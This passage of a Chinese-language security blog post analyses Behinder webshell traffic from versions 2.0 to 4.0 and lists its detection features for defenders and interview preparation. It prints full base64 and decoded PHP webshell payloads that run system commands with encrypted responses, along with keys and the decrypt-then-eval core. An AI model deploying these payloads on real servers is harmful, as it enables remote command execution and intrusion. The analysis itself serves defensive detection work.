MgYXZhaWxhYmxlIik7DQogICAgICAgICRrZXkgPSAkX1NFU1NJT05bJ2snXTsNCiAgICAgICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpLCAka2V5KTsNCiAgICAgICAgcmV0dXJuOw0KICAgICAgICANCiAgICB9DQogICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKGdldFNhZmVTdHIoJGtXSlcpKTsNCiAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICAkX1NFU1NJT05bJ2snXSk7DQp9DQoNCmZ1bmN0aW9uIGVuY3J5cHQoJGRhdGEsJGtleSkNCnsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQ0KICAgIAl7DQogICAgCQlmb3IoJGk9MDskaTxzdHJsZW4oJGRhdGEpOyRpKyspIHsNCiAgICAJCQkgJGRhdGFbJGldID0gJGRhdGFbJGldXiRrZXlbJGkrMSYxNV07IA0KICAgIAkJCX0NCgkJCXJldHVybiAkZGF0YTsNCiAgICAJfQ0KICAgIGVsc2UNCiAgICAJew0KICAgIAkJcmV0dXJuIG9wZW5zc2xfZW5jcnlwdCgkZGF0YSwgIkFFUzEyOCIsICRrZXkpOw0KICAgIAl9DQp9JGNtZD0id2hvYW1pIjsNCm1haW4oJGNtZCk7'));

    我们接着拿到AES解密后的包内的base64去解码,得到原执行过程,可以看到在最后执行了whoami命令

@error_reporting(0);
function getSafeStr($str){ $s1 = iconv('utf-8','gbk//IGNORE',$str); $s0 = iconv('gbk','utf-8//IGNORE',$s1); if($s0 == $str){ return $s0; }else{ return iconv('gbk','utf-8//IGNORE',$str); }}function main($cmd){ @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time', 0); $result = array(); $PadtJn = @ini_get('disable_functions'); if (! empty($PadtJn)) { $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn); $PadtJn = explode(',', $PadtJn); $PadtJn = array_map('trim', $PadtJn); } else { $PadtJn = array(); } $c = $cmd; if (FALSE !== strpos(strtolower(PHP_OS), 'win')) { $c = $c . " 2>&1\n"; } $JueQDBH = 'is_callable'; $Bvce = 'in_array'; if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) { ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) { $handle = proc_open($c, array( array( 'pipe', 'r' ), array( 'pipe', 'w' ), array( 'pipe', 'w' ) ), $pipes); $kWJW = NULL; while (! feof($pipes[1])) { $kWJW .= fread($pipes[1], 1024); } @proc_close($handle); } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) { ob_start(); passthru($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) { $kWJW = shell_exec($c); } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) { $kWJW = array(); exec($c, $kWJW); $kWJW = join(chr(10), $kWJW) . chr(10); } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) { $fp = popen($c, 'r'); $kWJW = NULL; if (is_resource($fp)) { while (! feof($fp)) { $kWJW .= fread($fp, 1024); } } @pclose($fp); } else { $kWJW = 0; $result["status"] = base64_encode("fail"); $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available"); $key = $_SESSION['k']; echo encrypt(json_encode($result), $key); return; } $result["status"] = base64_encode("success"); $result["msg"] = base64_encode(getSafeStr($kWJW)); echo encrypt(json_encode($result), $_SESSION['k']);}
function encrypt($data,$key){ if(!extension_loaded('openssl')) { for($i=0;$i<strlen($data);$i++) { $data[$i] = $data[$i]^$key[$i+1&15]; } return $data; } else { return openssl_encrypt($data, "AES128", $key); }}$cmd="whoami";main($cmd);

    同样的方法,我们继续解码响应包内容,得到当前用户

    status:success,后面接着就是执行的结果,攻击端命令行去除msg进行显示

    然后我们接着看冰蝎3.0特征,3.0相比1.0和2.0版本,最大的特点就是去除了动态密钥机制,因为动态密钥请求特征太容易被安全设备监测,shell文件和前期版本一样,在server目录下

    相比较2.0,3.0的过程看着更加简单了,其实就是除了前面的密钥固定了,其它过程不变,密钥这次还是本地,这么看有些特征和哥斯拉确实差不多,解密过程还是和2.0一样,这里我发送一个dir命令

    依然是CBC模式,已知shell文件存放在了本地,key为"dfff0a7fa1a55c8c",这里可以尝试去somd5解密,当然如果密码是强密码不一定能跑出来

assert|eval(base64_decode('QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY3Rpb24gZ2V0U2FmZVN0cigkc3RyKXsNCiAgICAkczEgPSBpY29udigndXRmLTgnLCdnYmsvL0lHTk9SRScsJHN0cik7DQogICAgJHMwID0gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzMSk7DQogICAgaWYoJHMwID09ICRzdHIpew0KICAgICAgICByZXR1cm4gJHMwOw0KICAgIH1lbHNlew0KICAgICAgICByZXR1cm4gaWNvbnYoJ2diaycsJ3V0Zi04Ly9JR05PUkUnLCRzdHIpOw0KICAgIH0NCn0NCmZ1bmN0aW9uIG1haW4oJGNtZCkNCnsNCiAgICBAc2V0X3RpbWVfbGltaXQoMCk7DQogICAgQGlnbm9yZV91c2VyX2Fib3J0KDEpOw0KICAgIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsNCiAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAkUGFkdEpuID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgaWYgKCEgZW1wdHkoJFBhZHRKbikpIHsNCiAgICAgICAgJFBhZHRKbiA9IHByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBleHBsb2RlKCcsJywgJFBhZHRKbik7DQogICAgICAgICRQYWR0Sm4gPSBhcnJheV9tYXAoJ3RyaW0nLCAkUGFkdEpuKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkUGFkdEpuID0gYXJyYXkoKTsNCiAgICB9DQogICAgJGMgPSAkY21kOw0KICAgIGlmIChGQUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicpKSB7DQogICAgICAgICRjID0gJGMgLiAiIDI+JjFcbiI7DQogICAgfQ0KICAgICRKdWVRREJIID0gJ2lzX2NhbGxhYmxlJzsNCiAgICAkQnZjZSA9ICdpbl9hcnJheSc7DQogICAgaWYgKCRKdWVRREJIKCdzeXN0ZW0nKSBhbmQgISAkQnZjZSgnc3lzdGVtJywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgc3lzdGVtKCRjKTsNCiAgICAgICAgJGtXSlcgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICAgICAgb2JfZW5kX2NsZWFuKCk7DQogICAgfSBlbHNlIGlmICgkSnVlUURCSCgncHJvY19vcGVuJykgYW5kICEgJEJ2Y2UoJ3Byb2Nfb3BlbicsICRQYWR0Sm4pKSB7DQogICAgICAgICRoYW5kbGUgPSBwcm9jX29wZW4oJGMsIGFycmF5KA0KICAgICAgICAgICAgYXJyYXkoDQogICAgICAgICAgICAgICAgJ3BpcGUnLA0KICAgICAgICAgICAgICAgICdyJw0KICAgICAgICAgICAgKSwNCiAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICdwaXBlJywNCiAgICAgICAgICAgICAgICAndycNCiAgICAgICAgICAgICksDQogICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAncGlwZScsDQogICAgICAgICAgICAgICAgJ3cnDQogICAgICAgICAgICApDQogICAgICAgICksICRwaXBlcyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgd2hpbGUgKCEgZmVvZigkcGlwZXNbMV0pKSB7DQogICAgICAgICAgICAka1dKVyAuPSBmcmVhZCgkcGlwZXNbMV0sIDEwMjQpOw0KICAgICAgICB9DQogICAgICAgIEBwcm9jX2Nsb3NlKCRoYW5kbGUpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ3Bhc3N0aHJ1JykgYW5kICEgJEJ2Y2UoJ3Bhc3N0aHJ1JywgJFBhZHRKbikpIHsNCiAgICAgICAgb2Jfc3RhcnQoKTsNCiAgICAgICAgcGFzc3RocnUoJGMpOw0KICAgICAgICAka1dKVyA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgICBvYl9lbmRfY2xlYW4oKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdzaGVsbF9leGVjJykgYW5kICEgJEJ2Y2UoJ3NoZWxsX2V4ZWMnLCAkUGFkdEpuKSkgew0KICAgICAgICAka1dKVyA9IHNoZWxsX2V4ZWMoJGMpOw0KICAgIH0gZWxzZSBpZiAoJEp1ZVFEQkgoJ2V4ZWMnKSBhbmQgISAkQnZjZSgnZXhlYycsICRQYWR0Sm4pKSB7DQogICAgICAgICRrV0pXID0gYXJyYXkoKTsNCiAgICAgICAgZXhlYygkYywgJGtXSlcpOw0KICAgICAgICAka1dKVyA9IGpvaW4oY2hyKDEwKSwgJGtXSlcpIC4gY2hyKDEwKTsNCiAgICB9IGVsc2UgaWYgKCRKdWVRREJIKCdleGVjJykgYW5kICEgJEJ2Y2UoJ3BvcGVuJywgJFBhZHRKbikpIHsNCiAgICAgICAgJGZwID0gcG9wZW4oJGMsICdyJyk7DQogICAgICAgICRrV0pXID0gTlVMTDsNCiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRmcCkpIHsNCiAgICAgICAgICAgIHdoaWxlICghIGZlb2YoJGZwKSkgew0KICAgICAgICAgICAgICAgICRrV0pXIC49IGZyZWFkKCRmcCwgMTAyNCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgQHBjbG9zZSgkZnApOw0KICAgIH0gZWxzZSB7DQogICAgICAgICRrV0pXID0gMDsNCiAgICAgICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJmYWlsIik7DQogICAgICAgICRyZXN1bHRbIm1zZyJdID0gYmFzZTY0X2VuY29kZSgibm9uZSBvZiBwcm9jX29wZW4vcGFzc3RocnUvc2hlbGxfZXhlYy9leGVjL2V4ZWMgaXMgYXZhaWxhYmxlIik7DQogICAgICAgICRrZXkgPSAkX1NFU1NJT05bJ2snXTsNCiAgICAgICAgZWNobyBlbmNyeXB0KGpzb25fZW5jb2RlKCRyZXN1bHQpLCAka2V5KTsNCiAgICAgICAgcmV0dXJuOw0KICAgICAgICANCiAgICB9DQogICAgJHJlc3VsdFsic3RhdHVzIl0gPSBiYXNlNjRfZW5jb2RlKCJzdWNjZXNzIik7DQogICAgJHJlc3VsdFsibXNnIl0gPSBiYXNlNjRfZW5jb2RlKGdldFNhZmVTdHIoJGtXSlcpKTsNCiAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICAkX1NFU1NJT05bJ2snXSk7DQp9DQoNCmZ1bmN0aW9uIGVuY3J5cHQoJGRhdGEsJGtleSkNCnsNCglpZighZXh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQ0KICAgIAl7DQogICAgCQlmb3IoJGk9MDskaTxzdHJsZW4oJGRhdGEpOyRpKyspIHsNCiAgICAJCQkgJGRhdGFbJGldID0gJGRhdGFbJGldXiRrZXlbJGkrMSYxNV07IA0KICAgIAkJCX0NCgkJCXJldHVybiAkZGF0YTsNCiAgICAJfQ0KICAgIGVsc2UNCiAgICAJew0KICAgIAkJcmV0dXJuIG9wZW5zc2xfZW5jcnlwdCgkZGF0YSwgIkFFUzEyOCIsICRrZXkpOw0KICAgIAl9DQp9JGNtZD0iZGlyIjsNCm1haW4oJGNtZCk7'));

    在将其中的base64编码取出进行解码拿到明文

    我们接着在同样的方法查看响应包内容,先AEC-CBC模式解密

status: success 驱动器 D 中的卷是 Data 卷的序列号是 529D-ACBF
D:\phpstudy_pro\WWW\ 的目录
2024/05/29 11:02 <DIR> .2024/05/29 11:02 <DIR> ..2024/05/20 15:33 0 .htaccess2024/05/20 15:30 <DIR> error2024/05/20 16:36 179 index.php2024/05/20 15:33 0 nginx.htaccess2024/05/29 11:12 619 shell.php2019/02/14 17:20 667 shelll.php2024/05/20 17:43 219,002 swagger.csv2024/05/28 10:52 108 test.php 7 个文件 220,575 字节               3 个目录 15,938,629,632 可用字节

    以上是3.0的流量过程,具体与前期版本最大差异就是从密钥协商过程变成了预共享密钥

    我们接着看4.0版本,在冰蝎4.0及以后的版本,作者改动和修复的东西很多,更加细节化了,并且支持了多种加密,UI进行了美化,支持本地生成shell文件自定义配置等

    我们先在本地生成了加密器default_aes文件和default_xor_base64的shell,拿来对比一下

    其实在我的理解里面,AES去掉第6行以及解密阶段,就是一句话木马

    首先呢,这两个我改了密钥,规则还是取前16位,密码是cmd,在xor_base64中,过程就是对传输过来的数据进行base64解码,接着在for循环内进行异或解密操作,然后获取主体数据后使用eval函数执行解密的代码

    而AES就显得简单粗暴了,对传入的数据进行openssl解密,然后进行base64解码,接着就是AES解密,最后获取主体数据使用eval函数执行代码

    因为加密器在本地,解密器是上传到本地的,所以我们可以直接拿过来修改一下

    经过解密后,我们可以对$cmd及$path中数据进行base64解码,得到我们执行的命令为dir

    响应包也是一样,我们替换掉数据后进行解密,这里我直接将msg内容进行解码输出了

    接着看AES流量,这个比较熟悉了,前面说了很多AES,直接拿key过来,然后进行解密就行,我这里还是用PHP改动一下打印解码输出

    为了更直观的看到,我这里直接将操作的base64编码进行代入并进行了解码

    关于响应包也是如此,直接将数据拿来后进行替换

    有关于其它加密器可自行研究,4.0流量过程相较于其它版本确实有所不同,解密器在本地,流量大致以下图片

    以上过程由我个人理解,不妥之处请指出

3. 流量特征

    Q1. 冰蝎1.0和2.0版本中,最明显的特征就是需要密钥协商,发送GET请求获取动态密钥

    Q2. 在2.0版本中默认特征Accept为: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2,但是这个可以消除,可以作为辅助特征

    Q3. 在2.0版本中,UA是随机UA,每次或几次请求后会更换UA,大概是16个左右,UA较老,在Constants.java内的库中,我们对程序进行反编译后可以看到,这些特征都是可以修改

    Q4. Connection特征,这个可以使用流量抓包工具看到,长连接,避免资源浪费开销大,也和HTTP1.0有关,1.1后貌似就没了

    Q5. 2.0的固定特征就是随机请求的三位数,这个是强特征

    Q6. 在冰蝎3.0中,UA再次增加,继续进行反编译后可以看到,这个可以作为辅助特征

    Q7. 辅助弱特征: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9,因为可以改动,以及:Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7

    Q8. 部分3.0以后的子版本至4.0以后增加了referer参数,末尾文件名随机大小写

    Q9. 在冰蝎4.0之后,UA头进行了缩减,此处不在反编译,因为3.0以后还可以自定义UA头

Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko

    Q10. 3.0-4.0之后的默认密码为rebeyond,也可以作为辅助特征,当然了传到你本地的shell,你也能直接查看到

    Q11. 冰蝎4.0弱特征(可修改),Accept: application/json, text/javascript, */*; q=0.01以及Content-type: Application/x-www-form-urlencoded

    Q12. 冰蝎4.0攻击方主机特征每次建立连接端口会递增,活动端口会在49700附近(我这里尝试流量抓包,并没有发现相关问题)

    Q13. 最后会出现以下字段,但是需要解密后才能看到,这个可以作为强特征,视情况而定

$post=Decrypt(file_get_contents("php://input"));
eval($post);

4. 面试题

1. 对于相关内存马的特征像哥斯拉和冰蝎的内存马会有跟webshell相似的特征,分析特殊的classloader加载,攻击者喜欢利用TemplatesImpl和bcel加载内存马,因为内存马是驻留在内存里的,本地无class文件,通过检测Filter对应的ClassLoader目录下是否存在class文件来判断,也可以把内存中所有的Filter的class dump出来,使用工具分析是否存在恶意代码2. 关于冰蝎的流量特征答案不固定,根据我上方总结的进行回答即可3. 不同冰蝎版本差距及特征(出现很多次)按照上方进行总结回答即可

0x03 总结

    本次对于常见的远控工具及Webshell进行流量总结,过程复现,特征分析列出以及网罗的一些面试题、HVV面试题进行列出,工具包括CobaltStrike、蚁剑、哥斯拉、冰蝎流量特征,仅对未魔改工具做分析,不做为魔改依据,不妥之处请指出,如需转载请私聊或直接留言即可

    如您觉得我的文章还可以、麻烦留个大大的点赞,对我进行鼓励,多多转发收藏支持一下,感谢↓

嗨嗨安全
提供网络安全资料与工具,分享攻防实战经验和思路。
 最新文章